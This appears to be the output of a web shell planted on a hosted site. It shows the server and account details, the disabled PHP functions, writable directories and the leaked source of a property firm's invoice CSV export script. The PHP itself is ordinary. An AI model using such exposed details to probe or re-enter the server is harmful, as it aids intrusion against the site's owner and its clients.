Heray-Was-Here
Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /home/u390967363/domains/aibenproperties.com/public_html/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u390967363/domains/aibenproperties.com/public_html/app/invoice_csv.php
<?php
session_start();
require_once __DIR__ . '/includes/db.php';
require_once __DIR__ . '/includes/functions.php';
function generateInvoiceNumber($id){ return 'AIB-INV-' . str_pad((string)max(0,(int)$id), 4, '0', STR_PAD_LEFT); }
$userId = $_SESSION['user_id'] ?? null;
$userRole = $_SESSION['user_role'] ?? null;
if (!$userId || !in_array($userRole, ['admin','super_admin','finance','estate_manager'])) { http_response_code(403); exit; }
$companyId = function_exists('getCurrentCompanyId') ? getCurrentCompanyId() : null;
$invId = (int)($_GET['invoice_id'] ?? ($_GET['id'] ?? 0));
if ($invId <= 0) { http_response_code(400); exit; }
$inv = [];
try {
    $hasInv = $pdo->query("SHOW TABLES LIKE 'invoices'")->rowCount() > 0;
    if (!$hasInv) { http_response_code(404); exit; }
    $cmpClause = ''; $cmpParams = [];
    if ($companyId && function_exists('tableHasColumn') && tableHasColumn('invoices','company_id')) { $cmpClause = " AND company_id = ?"; $cmpParams[] = $companyId; }
    $st = $pdo->prepare("SELECT * FROM invoices WHERE id = ?" . $cmpClause . " LIMIT 1");
    $st->execute(array_merge([$invId], $cmpParams));
    $inv = $st->fetch(PDO::FETCH_ASSOC) ?: [];
} catch (Throwable $e) {}
if (!$inv) { http_response_code(404); exit; }
$totalAmount = (float)($inv['amount'] ?? ($inv['total'] ?? 0));
$dueDate = (string)($inv['due_date'] ?? ($inv['created_at'] ?? ''));
$status = (string)($inv['status'] ?? 'unpaid');
$tenantId = (int)($inv['tenant_id'] ?? ($inv['user_id'] ?? 0));
$dealId = (int)($inv['deal_id'] ?? 0);
$clientName = '';
$propertyDesc = '';
$amountPaid = 0.0;
try {
    $hasDS = $pdo->query("SHOW TABLES LIKE 'deals_submit'")->rowCount() > 0;
    if ($hasDS) {
        $where = ''; $params = [];
        if ($dealId > 0 && function_exists('tableHasColumn') && tableHasColumn('deals_submit','id') && function_exists('tableHasColumn') && tableHasColumn('invoices','deal_id')) { $where = "id = ?"; $params[] = $dealId; }
        elseif ($tenantId > 0) {
            if (function_exists('tableHasColumn') && tableHasColumn('deals_submit','user_id')) { $where = "user_id = ?"; $params[] = $tenantId; }
            elseif (function_exists('tableHasColumn') && tableHasColumn('deals_submit','client_id')) { $where = "client_id = ?"; $params[] = $tenantId; }
        }
        if ($where !== '') {
            $cols = "client_name, project_desc, project_name, property_title, property_name"
                . (function_exists('tableHasColumn') && tableHasColumn('deals_submit','amount_paid_so_far') ? ", amount_paid_so_far" : "")
                . (function_exists('tableHasColumn') && tableHasColumn('deals_submit','meta_json') ? ", meta_json" : "");
            $q = "SELECT $cols FROM deals_submit WHERE $where ORDER BY id DESC LIMIT 1";
            $st = $pdo->prepare($q); $st->execute($params);
            $ds = $st->fetch(PDO::FETCH_ASSOC) ?: [];
            if ($ds) {
                $clientName = (string)($ds['client_name'] ?? '');
                $propertyDesc = (string)($ds['project_desc'] ?? ($ds['project_name'] ?? ($ds['property_title'] ?? ($ds['property_name'] ?? ''))));
                if (isset($ds['amount_paid_so_far'])) { $amountPaid = (float)$ds['amount_paid_so_far']; }
                if (($clientName === '' || $propertyDesc === '') && isset($ds['meta_json']) && $ds['meta_json']) {
                    $mj = json_decode($ds['meta_json'], true) ?: [];
                    if ($clientName === '') { $clientName = (string)($mj['client_name'] ?? ''); }
                    if ($propertyDesc === '') { $propertyDesc = (string)($mj['project_name'] ?? ($mj['project'] ?? ($mj['property'] ?? ''))); }
                }
            }
        }
    }
} catch (Throwable $e) {}
if ($clientName === '' && $tenantId > 0) {
    try { $st = $pdo->prepare("SELECT " . (function_exists('tableHasColumn') && tableHasColumn('users','name') ? "name" : "username") . " FROM users WHERE id = ? LIMIT 1"); $st->execute([$tenantId]); $clientName = (string)($st->fetchColumn() ?: ''); } catch (Throwable $e) {}
}
if ($propertyDesc === '' && isset($inv['lease_id'])) {
    try { $leaseId = (int)$inv['lease_id']; if ($leaseId > 0) { $q = "SELECT p.title FROM leases l JOIN properties p ON l.property_id = p.id WHERE l.id = ? LIMIT 1"; $st = $pdo->prepare($q); $st->execute([$leaseId]); $propertyDesc = (string)($st->fetchColumn() ?: ''); } } catch (Throwable $e) {}
}
$balance = max(0.0, $totalAmount - $amountPaid);
$invoiceNumber = generateInvoiceNumber($invId);
$fn = 'Invoice_'.$invoiceNumber.'.csv';
header('Content-Type: text/csv; charset=UTF-8');
header('Content-Disposition: attachment; filename="'.$fn.'"');
$out = fopen('php://output', 'w');
fputcsv($out, ['invoice_number','client_name','property','total_amount','amount_paid','balance','due_date','status']);
fputcsv($out, [
    $invoiceNumber,
    $clientName !== '' ? $clientName : '-',
    $propertyDesc !== '' ? $propertyDesc : '-',
    number_format($totalAmount, 2, '.', ''),
    number_format($amountPaid, 2, '.', ''),
    number_format($balance, 2, '.', ''),
    $dueDate !== '' ? date('Y-m-d', strtotime($dueDate)) : '',
    ucfirst($status)
]);
fclose($out);
exit;

Hry